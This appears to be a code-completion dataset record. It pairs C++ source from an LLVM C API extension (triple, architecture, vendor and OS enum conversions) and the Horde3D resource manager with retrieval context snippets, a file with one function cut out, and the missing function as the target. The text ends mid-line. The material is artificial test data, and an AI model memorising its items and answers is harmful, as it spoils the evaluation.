Real Wml::Distance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { return Math<Real>::Sqrt(SqrDistance(rkTri0,rkTri1,pfTri0P0,pfTri0P1, pfTri1P0,pfTri1P1)); }
function_block-full_function
[ { "content": "class WML_ITEM Arc2 : public Circle2<Real>\n\n{\n\npublic:\n\n // The arc is defined by two points End0 and End1 on the circle so that\n\n // End1 is obtained from End0 by traversing counterclockwise. The\n\n // application is responsible for ensuring that End0 and End1 are on the\n\n ...
C++
src/llvm_c_ext.cpp
Alfret/Lingon
164e62ac2a880c8977d03af4249b5a0ca6558e1a
#include <llvm/Target/TargetMachine.h> extern "C" { #include <llvm-c/Core.h> #include "llvm_c_ext.h" #include "str.h" #include "type.h" } static llvm::Triple::ArchType llvm_from_arch_type(LLVMArchType arch_type) { switch (arch_type) { case LLVMARMArchType: { return llvm::Triple::ArchType::arm; } case LLVMARMEBArchType: { return llvm::Triple::ArchType::armeb; } case LLVMAarch64ArchType: { return llvm::Triple::ArchType::aarch64; } case LLVMAvrArchType: { return llvm::Triple::ArchType::avr; } case LLVMMIPSArchType: { return llvm::Triple::ArchType::mips; } case LLVMMIPSelArchType: { return llvm::Triple::ArchType::mipsel; } case LLVMMIPS64ArchType: { return llvm::Triple::ArchType::mips64; } case LLVMRiscv32ArchType: { return llvm::Triple::ArchType::riscv32; } case LLVMRiscv64ArchType: { return llvm::Triple::ArchType::riscv64; } case LLVMx86ArchType: { return llvm::Triple::ArchType::x86; } case LLVMx86_64ArchType: { return llvm::Triple::ArchType::x86_64; } case LLVMWasm64ArchType: { return llvm::Triple::ArchType::wasm64; } case LLVMUnknownArchType: default: { return llvm::Triple::ArchType::UnknownArch; } } } static LLVMArchType llvm_to_arch_type(llvm::Triple::ArchType arch_type) { switch (arch_type) { case llvm::Triple::arm: { return LLVMARMArchType; } case llvm::Triple::armeb: { return LLVMARMEBArchType; } case llvm::Triple::aarch64: { return LLVMAarch64ArchType; } case llvm::Triple::avr: { return LLVMAvrArchType; } case llvm::Triple::mips: { return LLVMMIPSArchType; } case llvm::Triple::mipsel: { return LLVMMIPSelArchType; } case llvm::Triple::mips64: { return LLVMMIPS64ArchType; } case llvm::Triple::riscv32: { return LLVMRiscv32ArchType; } case llvm::Triple::riscv64: { return LLVMRiscv64ArchType; } case llvm::Triple::x86: { return LLVMx86ArchType; } case llvm::Triple::x86_64: { return LLVMx86_64ArchType; } case llvm::Triple::wasm64: { return LLVMWasm64ArchType; } case llvm::Triple::UnknownArch: default: { return LLVMUnknownArchType; } } } static llvm::Triple::VendorType llvm_from_vendor_type(LLVMVendorType vendor_type) { switch (vendor_type) { case LLVMUnknownVendorType: { return llvm::Triple::VendorType::UnknownVendor; } case LLVMAppleVendorType: { return llvm::Triple::VendorType::Apple; } case LLVMPCVendorType: { return llvm::Triple::VendorType::PC; } case LLVMSCEIVendorType: { return llvm::Triple::VendorType::SCEI; } case LLVMBGPVendorType: { return llvm::Triple::VendorType::BGP; } case LLVMBGQVendorType: { return llvm::Triple::VendorType::BGQ; } case LLVMFreescaleVendorType: { return llvm::Triple::VendorType::Freescale; } case LLVMIBMVendorType: { return llvm::Triple::VendorType::IBM; } case LLVMImaginationTechnologiesVendorType: { return llvm::Triple::VendorType::ImaginationTechnologies; } case LLVMMipsTechnologiesVendorType: { return llvm::Triple::VendorType::MipsTechnologies; } case LLVMNVIDIAVendorType: { return llvm::Triple::VendorType::NVIDIA; } case LLVMCSRVendorType: { return llvm::Triple::VendorType::CSR; } case LLVMMyriadVendorType: { return llvm::Triple::VendorType::Myriad; } case LLVMAMDVendorType: { return llvm::Triple::VendorType::AMD; } case LLVMMESAVendorType: { return llvm::Triple::VendorType::Mesa; } case LLVMSUSEVendorType: { return llvm::Triple::VendorType::SUSE; } case LLVMOpenEmbeddedVendorType: { return llvm::Triple::VendorType::OpenEmbedded; } } } static LLVMVendorType llvm_to_vendor_type(llvm::Triple::VendorType vendor_type) { switch (vendor_type) { case llvm::Triple::UnknownVendor: { return LLVMUnknownVendorType; } case llvm::Triple::Apple: { return LLVMAppleVendorType; } case llvm::Triple::PC: { return LLVMPCVendorType; } case llvm::Triple::SCEI: { return LLVMSCEIVendorType; } case llvm::Triple::BGP: { return LLVMBGPVendorType; } case llvm::Triple::BGQ: { return LLVMBGQVendorType; } case llvm::Triple::Freescale: { return LLVMFreescaleVendorType; } case llvm::Triple::IBM: { return LLVMIBMVendorType; } case llvm::Triple::ImaginationTechnologies: { return LLVMImaginationTechnologiesVendorType; } case llvm::Triple::MipsTechnologies: { return LLVMMipsTechnologiesVendorType; } case llvm::Triple::NVIDIA: { return LLVMNVIDIAVendorType; } case llvm::Triple::CSR: { return LLVMCSRVendorType; } case llvm::Triple::Myriad: { return LLVMMyriadVendorType; } case llvm::Triple::AMD: { return LLVMAMDVendorType; } case llvm::Triple::Mesa: { return LLVMMESAVendorType; } case llvm::Triple::SUSE: { return LLVMSUSEVendorType; } case llvm::Triple::OpenEmbedded: { return LLVMOpenEmbeddedVendorType; } } } static llvm::Triple::OSType llvm_from_os_type(LLVMOSType os_type) { switch (os_type) { case LLVMUnknownOSType: { return llvm::Triple::OSType::UnknownOS; } case LLVMDarwinOSType: { return llvm::Triple::OSType::Darwin; } case LLVMFreeBSDOSType: { return llvm::Triple::OSType::FreeBSD; } case LLVMFuchsisaOSType: { return llvm::Triple::OSType::Fuchsia; } case LLVMIOSOSType: { return llvm::Triple::OSType::IOS; } case LLVMLinuxOSType: { return llvm::Triple::OSType::Linux; } case LLVMMacOSOSType: { return llvm::Triple::OSType::MacOSX; } case LLVMOpenBSDOSType: { return llvm::Triple::OSType::OpenBSD; } case LLVMWin32OSType: { return llvm::Triple::OSType::Win32; } case LLVMTvOSOSType: { return llvm::Triple::OSType::TvOS; } case LLVMWatchOSOSType: { return llvm::Triple::OSType::WatchOS; } } } static LLVMOSType llvm_to_os_type(llvm::Triple::OSType osType) { switch (osType) { case llvm::Triple::Darwin: { return LLVMDarwinOSType; } case llvm::Triple::FreeBSD: { return LLVMFreeBSDOSType; } case llvm::Triple::Fuchsia: { return LLVMFuchsisaOSType; } case llvm::Triple::IOS: { return LLVMIOSOSType; } case llvm::Triple::Linux: { return LLVMLinuxOSType; } case llvm::Triple::MacOSX: { return LLVMMacOSOSType; } case llvm::Triple::OpenBSD: { return LLVMOpenBSDOSType; } case llvm::Triple::Win32: { return LLVMWin32OSType; } case llvm::Triple::TvOS: { return LLVMTvOSOSType; } case llvm::Triple::WatchOS: { return LLVMWatchOSOSType; } case llvm::Triple::UnknownOS: default: { return LLVMUnknownOSType; } } } static LLVMObjectFormatType llvm_to_object_format_type(llvm::Triple::ObjectFormatType objectFormatType) { switch (objectFormatType) { case llvm::Triple::UnknownObjectFormat: { return LLVMUnknownObjectFormatType; } case llvm::Triple::COFF: { return LLVMCOFFObjectFormatType; } case llvm::Triple::ELF: { return LLVMELFObjectFormatType; } case llvm::Triple::MachO: { return LLVMMachOObjectFormatType; } case llvm::Triple::Wasm: { return LLVMWasmObjectFormatType; } } } typedef struct LLVMOpaqueTriple { llvm::Triple handle; std::string str; } LLVMOpaqueTriple; LLVMTripleRef LLVMGetTripleFromTargetTriple(const char* targetTriple) { LLVMTripleRef triple = new LLVMOpaqueTriple(); triple->handle = llvm::Triple(targetTriple); triple->str = triple->handle.getTriple(); return triple; } LLVMTripleRef LLVMGetTripleFromArchVendorOs(LLVMArchType ArchType, LLVMVendorType VendorType, LLVMOSType OSType) { llvm::StringRef arch_str = llvm::Triple::getArchTypeName(llvm_from_arch_type(ArchType)); llvm::StringRef vendor_str = llvm::Triple::getVendorTypeName(llvm_from_vendor_type(VendorType)); llvm::StringRef os_str = llvm::Triple::getOSTypeName(llvm_from_os_type(OSType)); LLVMTripleRef triple = new LLVMOpaqueTriple(); triple->handle = llvm::Triple(arch_str, vendor_str, os_str); triple->str = triple->handle.getTriple(); return triple; } LLVMTripleRef LLVMGetDefaultTriple() { char* triple_str = LLVMGetDefaultTargetTriple(); LLVMTripleRef triple_ref = LLVMGetTripleFromTargetTriple(triple_str); LLVMDisposeMessage(triple_str); return triple_ref; } void LLVMDisposeTriple(LLVMTripleRef Triple) { delete Triple; } LLVMTargetMachineRef LLVMCreateTargetMachineFromTriple(LLVMTargetRef T, LLVMTripleRef Triple, const char* CPU, const char* Features, LLVMCodeGenOptLevel Level, LLVMRelocMode Reloc, LLVMCodeModel CodeModel) { return LLVMCreateTargetMachine( T, LLVMTripleGetTriple(Triple), CPU, Features, Level, Reloc, CodeModel); } LLVMBool LLVMTripleGetTarget(LLVMTripleRef Triple, LLVMTargetRef* T, char** ErrorMessage) { const char* triple_str = Triple->handle.getTriple().c_str(); return LLVMGetTargetFromTriple(triple_str, T, ErrorMessage); } LLVMArchType LLVMTripleGetArch(LLVMTripleRef triple) { return llvm_to_arch_type(triple->handle.getArch()); } const char* LLVMTripleGetTriple(LLVMTripleRef Triple) { return Triple->str.c_str(); } bool LLVMTripleIsArch64Bit(LLVMTripleRef Triple) { return Triple->handle.isArch64Bit(); } bool LLVMTripleIsArch32Bit(LLVMTripleRef Triple) { return Triple->handle.isArch32Bit(); } bool LLVMTripleIsArch16Bit(LLVMTripleRef Triple) { return Triple->handle.isArch16Bit(); }
#include <llvm/Target/TargetMachine.h> extern "C" { #include <llvm-c/Core.h> #include "llvm_c_ext.h" #include "str.h" #include "type.h" } static llvm::Triple::ArchType llvm_from_arch_type(LLVMArchType arch_type) { switch (arch_type) { case LLVMARMArchType: { return llvm::Triple::ArchType::arm; } case LLVMARMEBArchType: { return llvm::Triple::ArchType::armeb; } case LLVMAarch64ArchType: { return llvm::Triple::ArchType::aarch64; } case LLVMAvrArchType: { return llvm::Triple::ArchType::avr; } case LLVMMIPSArchType: { return llvm::Triple::ArchType::mips; } case LLVMMIPSelArchType: { return llvm::Triple::ArchType::mipsel; } case LLVMMIPS64ArchType: { return llvm::Triple::ArchType::mips64; } case LLVMRiscv32ArchType: { return llvm::Triple::ArchType::riscv32; } case LLVMRiscv64ArchType: { return llvm::Triple::ArchType::riscv64; } case LLVMx86ArchType: { return llvm::Triple::ArchType::x86; } case LLVMx86_64ArchType: { return llvm::Triple::ArchType::x86_64; } case LLVMWasm64ArchType: { return llvm::Triple::ArchType::wasm64; } case LLVMUnknownArchType: default: { return llvm::Triple::ArchType::UnknownArch; } } } static LLVMArchType llvm_to_arch_type(llvm::Triple::ArchType arch_type) { switch (arch_type) { case llvm::Triple::arm: { return LLVMARMArchType; } case llvm::Triple::armeb: { return LLVMARMEBArchType; } case llvm::Triple::aarch64: { return LLVMAarch64ArchType; } case llvm::Triple::avr: { return LLVMAvrArchType; } case llvm::Triple::mips: { return LLVMMIPSArchType; } case llvm::Triple::mipsel: { return LLVMMIPSelArchType; } case llvm::Triple::mips64: { return LLVMMIPS64ArchType; } case llvm::Triple::riscv32: { return LLVMRiscv32ArchType; } case llvm::Triple::riscv64: { return LLVMRiscv64ArchType; } case llvm::Triple::x86: { return LLVMx86ArchType; } case llvm::Triple::x86_64: { return LLVMx86_64ArchType; } case llvm::Triple::wasm64: { return LLVMWasm64ArchType; } case llvm::Triple::UnknownArch: default: { return LLVMUnknownArchType; } } } static llvm::Triple::VendorType llvm_from_vendor_type(LLVMVendorType vendor_type) { switch (vendor_type) { case LLVMUnknownVendorType: { return llvm::Triple::VendorType::UnknownVendor; } case LLVMAppleVendorType: { return llvm::Triple::VendorType::Apple; } case LLVMPCVendorType: { return llvm::Triple::VendorType::PC; } case LLVMSCEIVendorType: { return llvm::Triple::VendorType::SCEI; } case LLVMBGPVendorType: { return llvm::Triple::VendorType::BGP; } case LLVMBGQVendorType: { return llvm::Triple::VendorType::BGQ; } case LLVMFreescaleVendorType: { return llvm::Triple::VendorType::Freescale; } case LLVMIBMVendorType: { return llvm::Triple::VendorType::IBM; } case LLVMImaginationTechnologiesVendorType: { return llvm::Triple::VendorType::ImaginationTechnologies; } case LLVMMipsTechnologiesVendorType: { return llvm::Triple::VendorType::MipsTechnologies; } case LLVMNVIDIAVendorType: { return llvm::Triple::VendorType::NVIDIA; } case LLVMCSRVendorType: { return llvm::Triple::VendorType::CSR; } case LLVMMyriadVendorType: { return llvm::Triple::VendorType::Myriad; } case LLVMAMDVendorType: { return llvm::Triple::VendorType::AMD; } case LLVMMESAVendorType: { return llvm::Triple::VendorType::Mesa; } case LLVMSUSEVendorType: { return llvm::Triple::VendorType::SUSE; } case LLVMOpenEmbeddedVendorType: { return llvm::Triple::VendorType::OpenEmbedded; } } }
static llvm::Triple::OSType llvm_from_os_type(LLVMOSType os_type) { switch (os_type) { case LLVMUnknownOSType: { return llvm::Triple::OSType::UnknownOS; } case LLVMDarwinOSType: { return llvm::Triple::OSType::Darwin; } case LLVMFreeBSDOSType: { return llvm::Triple::OSType::FreeBSD; } case LLVMFuchsisaOSType: { return llvm::Triple::OSType::Fuchsia; } case LLVMIOSOSType: { return llvm::Triple::OSType::IOS; } case LLVMLinuxOSType: { return llvm::Triple::OSType::Linux; } case LLVMMacOSOSType: { return llvm::Triple::OSType::MacOSX; } case LLVMOpenBSDOSType: { return llvm::Triple::OSType::OpenBSD; } case LLVMWin32OSType: { return llvm::Triple::OSType::Win32; } case LLVMTvOSOSType: { return llvm::Triple::OSType::TvOS; } case LLVMWatchOSOSType: { return llvm::Triple::OSType::WatchOS; } } } static LLVMOSType llvm_to_os_type(llvm::Triple::OSType osType) { switch (osType) { case llvm::Triple::Darwin: { return LLVMDarwinOSType; } case llvm::Triple::FreeBSD: { return LLVMFreeBSDOSType; } case llvm::Triple::Fuchsia: { return LLVMFuchsisaOSType; } case llvm::Triple::IOS: { return LLVMIOSOSType; } case llvm::Triple::Linux: { return LLVMLinuxOSType; } case llvm::Triple::MacOSX: { return LLVMMacOSOSType; } case llvm::Triple::OpenBSD: { return LLVMOpenBSDOSType; } case llvm::Triple::Win32: { return LLVMWin32OSType; } case llvm::Triple::TvOS: { return LLVMTvOSOSType; } case llvm::Triple::WatchOS: { return LLVMWatchOSOSType; } case llvm::Triple::UnknownOS: default: { return LLVMUnknownOSType; } } } static LLVMObjectFormatType llvm_to_object_format_type(llvm::Triple::ObjectFormatType objectFormatType) { switch (objectFormatType) { case llvm::Triple::UnknownObjectFormat: { return LLVMUnknownObjectFormatType; } case llvm::Triple::COFF: { return LLVMCOFFObjectFormatType; } case llvm::Triple::ELF: { return LLVMELFObjectFormatType; } case llvm::Triple::MachO: { return LLVMMachOObjectFormatType; } case llvm::Triple::Wasm: { return LLVMWasmObjectFormatType; } } } typedef struct LLVMOpaqueTriple { llvm::Triple handle; std::string str; } LLVMOpaqueTriple; LLVMTripleRef LLVMGetTripleFromTargetTriple(const char* targetTriple) { LLVMTripleRef triple = new LLVMOpaqueTriple(); triple->handle = llvm::Triple(targetTriple); triple->str = triple->handle.getTriple(); return triple; } LLVMTripleRef LLVMGetTripleFromArchVendorOs(LLVMArchType ArchType, LLVMVendorType VendorType, LLVMOSType OSType) { llvm::StringRef arch_str = llvm::Triple::getArchTypeName(llvm_from_arch_type(ArchType)); llvm::StringRef vendor_str = llvm::Triple::getVendorTypeName(llvm_from_vendor_type(VendorType)); llvm::StringRef os_str = llvm::Triple::getOSTypeName(llvm_from_os_type(OSType)); LLVMTripleRef triple = new LLVMOpaqueTriple(); triple->handle = llvm::Triple(arch_str, vendor_str, os_str); triple->str = triple->handle.getTriple(); return triple; } LLVMTripleRef LLVMGetDefaultTriple() { char* triple_str = LLVMGetDefaultTargetTriple(); LLVMTripleRef triple_ref = LLVMGetTripleFromTargetTriple(triple_str); LLVMDisposeMessage(triple_str); return triple_ref; } void LLVMDisposeTriple(LLVMTripleRef Triple) { delete Triple; } LLVMTargetMachineRef LLVMCreateTargetMachineFromTriple(LLVMTargetRef T, LLVMTripleRef Triple, const char* CPU, const char* Features, LLVMCodeGenOptLevel Level, LLVMRelocMode Reloc, LLVMCodeModel CodeModel) { return LLVMCreateTargetMachine( T, LLVMTripleGetTriple(Triple), CPU, Features, Level, Reloc, CodeModel); } LLVMBool LLVMTripleGetTarget(LLVMTripleRef Triple, LLVMTargetRef* T, char** ErrorMessage) { const char* triple_str = Triple->handle.getTriple().c_str(); return LLVMGetTargetFromTriple(triple_str, T, ErrorMessage); } LLVMArchType LLVMTripleGetArch(LLVMTripleRef triple) { return llvm_to_arch_type(triple->handle.getArch()); } const char* LLVMTripleGetTriple(LLVMTripleRef Triple) { return Triple->str.c_str(); } bool LLVMTripleIsArch64Bit(LLVMTripleRef Triple) { return Triple->handle.isArch64Bit(); } bool LLVMTripleIsArch32Bit(LLVMTripleRef Triple) { return Triple->handle.isArch32Bit(); } bool LLVMTripleIsArch16Bit(LLVMTripleRef Triple) { return Triple->handle.isArch16Bit(); }
static LLVMVendorType llvm_to_vendor_type(llvm::Triple::VendorType vendor_type) { switch (vendor_type) { case llvm::Triple::UnknownVendor: { return LLVMUnknownVendorType; } case llvm::Triple::Apple: { return LLVMAppleVendorType; } case llvm::Triple::PC: { return LLVMPCVendorType; } case llvm::Triple::SCEI: { return LLVMSCEIVendorType; } case llvm::Triple::BGP: { return LLVMBGPVendorType; } case llvm::Triple::BGQ: { return LLVMBGQVendorType; } case llvm::Triple::Freescale: { return LLVMFreescaleVendorType; } case llvm::Triple::IBM: { return LLVMIBMVendorType; } case llvm::Triple::ImaginationTechnologies: { return LLVMImaginationTechnologiesVendorType; } case llvm::Triple::MipsTechnologies: { return LLVMMipsTechnologiesVendorType; } case llvm::Triple::NVIDIA: { return LLVMNVIDIAVendorType; } case llvm::Triple::CSR: { return LLVMCSRVendorType; } case llvm::Triple::Myriad: { return LLVMMyriadVendorType; } case llvm::Triple::AMD: { return LLVMAMDVendorType; } case llvm::Triple::Mesa: { return LLVMMESAVendorType; } case llvm::Triple::SUSE: { return LLVMSUSEVendorType; } case llvm::Triple::OpenEmbedded: { return LLVMOpenEmbeddedVendorType; } } }
function_block-full_function
[ { "content": "#define _DEFAULT_SOURCE\n\n\n", "file_path": "deps/mimalloc/src/static.c", "rank": 0, "score": 89629.46483521059 }, { "content": "extern mi_decl_thread mi_heap_t* _mi_heap_default; // default heap to allocate from\n", "file_path": "deps/mimalloc/include/mimalloc-internal.h...
C++
Horde3D_SDK_1.0.0_Beta5/Horde3D/Source/Horde3DEngine/egResource.cpp
cewbost/dlrts
89a89f71a523adb9db2c9937337ddd7fc54d34ba
#include "egResource.h" #include "egModules.h" #include "egCom.h" #include <sstream> #include <cstring> #include "utDebug.h" namespace Horde3D { using namespace std; Resource::Resource( int type, const string &name, int flags ) { _type = type; _name = name; _handle = 0; _loaded = false; _refCount = 0; _userRefCount = 0; _flags = flags; if( (flags & ResourceFlags::NoQuery) == ResourceFlags::NoQuery ) _noQuery = true; else _noQuery = false; } Resource::~Resource() { } Resource *Resource::clone() { Modules::log().writeDebugInfo( "Resource cloning not implemented for type %i", _type ); return 0x0; } void Resource::initDefault() { } void Resource::release() { } bool Resource::load( const char *data, int size ) { if( _loaded ) return false; if( data == 0x0 || size <= 0 ) { Modules::log().writeWarning( "Resource '%s' of type %i: No data loaded (file not found?)", _name.c_str(), _type ); _noQuery = true; return false; } _loaded = true; return true; } void Resource::unload() { release(); initDefault(); _loaded = false; } int Resource::findElem( int elem, int param, const char *value ) { for( int i = 0, s = getElemCount( elem ); i < s; ++i ) { if( strcmp( getElemParamStr( elem, i, param ), value ) == 0 ) return i; } return -1; } int Resource::getElemCount( int elem ) { Modules::setError( "Invalid elem in h3dGetResElemCount" ); return 0; } int Resource::getElemParamI( int elem, int elemIdx, int param ) { Modules::setError( "Invalid elem or param in h3dGetResParamI" ); return Math::MinInt32; } void Resource::setElemParamI( int elem, int elemIdx, int param, int value ) { Modules::setError( "Invalid elem or param in h3dSetResParamI" ); } float Resource::getElemParamF( int elem, int elemIdx, int param, int compIdx ) { Modules::setError( "Invalid elem, param or component in h3dGetResParamF" ); return Math::NaN; } void Resource::setElemParamF( int elem, int elemIdx, int param, int compIdx, float value ) { Modules::setError( "Invalid elem, param or component in h3dSetResParamF" ); } const char *Resource::getElemParamStr( int elem, int elemIdx, int param ) { Modules::setError( "Invalid elem or param in h3dGetResParamStr" ); return ""; } void Resource::setElemParamStr( int elem, int elemIdx, int param, const char *value ) { Modules::setError( "Invalid elem or param in h3dSetResParamStr" ); } void *Resource::mapStream( int elem, int elemIdx, int stream, bool read, bool write ) { Modules::setError( "Invalid operation in h3dMapResStream" ); return 0x0; } void Resource::unmapStream() { Modules::setError( "Invalid operation by h3dUnmapResStream" ); } ResourceManager::ResourceManager() { _resources.reserve( 100 ); } ResourceManager::~ResourceManager() { clear(); map< int, ResourceRegEntry >::const_iterator itr = _registry.begin(); while( itr != _registry.end() ) { if( itr->second.releaseFunc != 0x0 ) (*itr->second.releaseFunc)(); ++itr; } } void ResourceManager::registerType( int type, const string &typeString, ResTypeInitializationFunc inf, ResTypeReleaseFunc rf, ResTypeFactoryFunc ff ) { ResourceRegEntry entry; entry.typeString = typeString; entry.initializationFunc = inf; entry.releaseFunc = rf; entry.factoryFunc = ff; _registry[type] = entry; if( inf != 0 ) (*inf)(); } Resource *ResourceManager::findResource( int type, const string &name ) { for( size_t i = 0, s = _resources.size(); i < s; ++i ) { if( _resources[i] != 0x0 && _resources[i]->_type == type && _resources[i]->_name == name ) { return _resources[i]; } } return 0x0; } Resource *ResourceManager::getNextResource( int type, ResHandle start ) { for( size_t i = start, s = _resources.size(); i < s; ++i ) { if( _resources[i] != 0x0 && (type == ResourceTypes::Undefined || _resources[i]->_type == type) ) { return _resources[i]; } } return 0x0; } ResHandle ResourceManager::addResource( Resource &resource ) { for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] == 0x0 ) { resource._handle = i + 1; _resources[i] = &resource; return i + 1; } } resource._handle = (ResHandle)_resources.size() + 1; _resources.push_back( &resource ); return resource._handle; } ResHandle ResourceManager::addResource( int type, const string &name, int flags, bool userCall ) { if( name == "" ) { Modules::log().writeDebugInfo( "Invalid name for added resource of type %i", type ); return 0; } for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == name ) { if( _resources[i]->_type == type ) { if( userCall ) ++_resources[i]->_userRefCount; return i + 1; } } } Resource *resource = 0x0; map< int, ResourceRegEntry >::iterator itr = _registry.find( type ); if( itr != _registry.end() ) resource = (*itr->second.factoryFunc)( name, flags ); if( resource == 0x0 ) return 0; if( userCall ) resource->_userRefCount = 1; return addResource( *resource ); } ResHandle ResourceManager::addNonExistingResource( Resource &resource, bool userCall ) { if( resource._name == "" ) return 0; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == resource._name ) return 0; } if( userCall ) resource._userRefCount += 1; return addResource( resource ); } ResHandle ResourceManager::cloneResource( Resource &sourceRes, const string &name ) { if( name != "" ) { for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == name ) { Modules::log().writeDebugInfo( "Name '%s' used for h3dCloneResource already exists", name.c_str() ); return 0; } } } Resource *newRes = sourceRes.clone(); if( newRes == 0x0 ) return 0; newRes->_name = name != "" ? name : "|tmp|"; newRes->_userRefCount = 1; int handle = addResource( *newRes ); if( name == "" ) { stringstream ss; ss << sourceRes._name << "|" << handle; newRes->_name = ss.str(); } return handle; } int ResourceManager::removeResource( Resource &resource, bool userCall ) { if( userCall && resource._userRefCount > 0 ) --resource._userRefCount; return (signed)resource._userRefCount; } void ResourceManager::clear() { for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 ) _resources[i]->release(); } for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 ) { delete _resources[i]; _resources[i] = 0x0; } } } ResHandle ResourceManager::queryUnloadedResource( int index ) { int j = 0; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && !_resources[i]->_loaded && !_resources[i]->_noQuery ) { if( j == index ) return _resources[i]->_handle; else ++j; } } return 0; } void ResourceManager::releaseUnusedResources() { vector< uint32 > killList; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_userRefCount == 0 && _resources[i]->_refCount == 0 ) { killList.push_back( i ); _resources[i]->release(); } } for( uint32 i = 0; i < killList.size(); ++i ) { Modules::log().writeInfo( "Removed resource '%s'", _resources[killList[i]]->_name.c_str() ); delete _resources[killList[i]]; _resources[killList[i]] = 0x0; } if( !killList.empty() ) releaseUnusedResources(); } }
#include "egResource.h" #include "egModules.h" #include "egCom.h" #include <sstream> #include <cstring> #include "utDebug.h" namespace Horde3D { using namespace std; Resource::Resource( int type, const string &name, int flags ) { _type = type; _name = name; _handle = 0; _loaded = false; _refCount = 0; _userRefCount = 0; _flags = flags; if( (flags & ResourceFlags::NoQuery) == ResourceFlags::NoQuery ) _noQuery = true; else _noQuery = false; } Resource::~Resource() { } Resource *Resource::clone() { Modules::log().writeDebugInfo( "Resource cloning not implemented for type %i", _type ); return 0x0; } void Resource::initDefault() { } void Resource::release() { } bool Resource::load( const char *data, int size ) { if( _loaded ) return false; if( data == 0x0 || size <= 0 ) { Modules::log().writeWarning( "Resource '%s' of type %i: No data loaded (file not found?)", _name.c_str(), _type ); _noQuery = true; return false; } _loaded = true; return true; } void Resource::unload() { release(); initDefault(); _loaded = false; } int Resource::findElem( int elem, int param, const char *value ) { for( int i = 0, s = getElemCount( elem ); i < s; ++i ) { if( strcmp( getElemParamStr( elem, i, param ), value ) == 0 ) return i; } return -1; } int Resource::getElemCount( int elem ) { Modules::setError( "Invalid elem in h3dGetResElemCount" ); return 0; } int Resource::getElemParamI( int elem, int elemIdx, int param ) { Modules::setError( "Invalid elem or param in h3dGetResParamI" ); return Math::MinInt32; } void Resource::setElemParamI( int elem, int elemIdx, int param, int value ) { Modules::setError( "Invalid elem or param in h3dSetResParamI" ); } float Resource::getElemParamF( int elem, int elemIdx, int param, int compIdx ) { Modules::setError( "Invalid elem, param or component in h3dGetResParamF" ); return Math::NaN; } void Resource::setElemParamF( int elem, int elemIdx, int param, int compIdx, float value ) { Modules::setError( "Invalid elem, param or component in h3dSetResParamF" ); } const char *Resource::getElemParamStr( int elem, int elemIdx, int param ) { Modules::setError( "Invalid elem or param in h3dGetResParamStr" ); return ""; } void Resource::setElemParamStr( int elem, int elemIdx, int param, const char *value ) { Modules::setError( "Invalid elem or param in h3dSetResParamStr" ); } void *Resource::mapStream( int elem, int elemIdx, int stream, bool read, bool write ) { Modules::setError( "Invalid operation in h3dMapResStream" ); return 0x0; } void Resource::unmapStream() { Modules::setError( "Invalid operation by h3dUnmapResStream" ); } ResourceManager::ResourceManager() { _resources.reserve( 100 ); } ResourceManager::~ResourceManager() { clear(); map< int, ResourceRegEntry >::const_iterator itr = _registry.begin(); while( itr != _registry.end() ) { if( itr->second.releaseFunc != 0x0 ) (*itr->second.releaseFunc)(); ++itr; } } void ResourceManager::registerType( int type, const string &typeString, ResTypeInitializationFunc inf, ResTypeReleaseFunc rf, ResTypeFactoryFunc ff ) { ResourceRegEntry entry; entry.typeString = typeString; entry.initializationFunc = inf; entry.releaseFunc = rf; entry.factoryFunc = ff; _registry[type] = entry; if( inf != 0 ) (*inf)(); } Resource *ResourceManager::findResource( int type, const string &name ) { for( size_t i = 0, s = _resources.size(); i < s; ++i ) { if( _resources[i] != 0x0 && _resources[i]->_type == type && _resources[i]->_name == name ) { return _resources[i]; } } return 0x0; } Resource *ResourceManager::getNextResource( int type, ResHandle start ) { for( size_t i = start, s = _resources.size(); i < s; ++i ) { if( _resources[i] != 0x0 && (type == ResourceTypes::Undefined || _resources[i]->_type == type) ) { return _resources[i]; } } return 0x0; } ResHandle ResourceManager::addResource( Resource &resource ) { for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] == 0x0 ) { resource._handle = i + 1; _resources[i] = &resource; return i + 1; } } resource._handle = (ResHandle)_resources.size() + 1; _resources.push_back( &resource ); return resource._handle; } ResHandle ResourceManager::addResource( int type, const string &name, int flags, bool userCall ) { if( name == "" ) { Modules::log().writeDebugInfo( "Invalid name for added resource of type %i", type ); return 0; } for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == name ) { if( _resources[i]->_type == type ) { if( userCall ) ++_resources[i]->_userRefCount; return i + 1; } } } Resource *resource = 0x0; map< int, ResourceRegEntry >::iterator itr = _registry.find( type ); if( itr != _registry.end() ) resource = (*itr->second.factoryFunc)( name, flags ); if( resource == 0x0 ) return 0; if( userCall ) resource->_userRefCount = 1; return addResource( *resource ); } ResHandle ResourceManager::addNonExistingResource( Resource &resource, bool userCall ) { if( resource._name == "" ) return 0; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == resource._name ) return 0; } if( userCall ) resource._userRefCount += 1; return addResource( resource ); } ResHandle ResourceManager::cloneResource( Resource &sourceRes, const string &name ) { if( name != "" ) { for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_name == name ) { Modules::log().writeDebugInfo( "Name '%s' used for h3dCloneResource already exists", name.c_str() ); return 0; } } } Resource *newRes = sourceRes.clone(); if( newRes == 0x0 ) return 0; newRes->_name = name != "" ? name : "|tmp|"; newRes->_userRefCount = 1; int handle = addResource( *newRes ); if( name == "" ) { stringstream ss; ss << sourceRes._name << "|" << handle; newRes->_name = ss.str(); } return handle; } int ResourceManager::removeResource( Resource &resource, bool userCall ) { if( userCall && resource._userRefCount > 0 ) --resource._userRefCount; return (signed)resource._userRefCount; } void ResourceManager::clear() { for( uint32 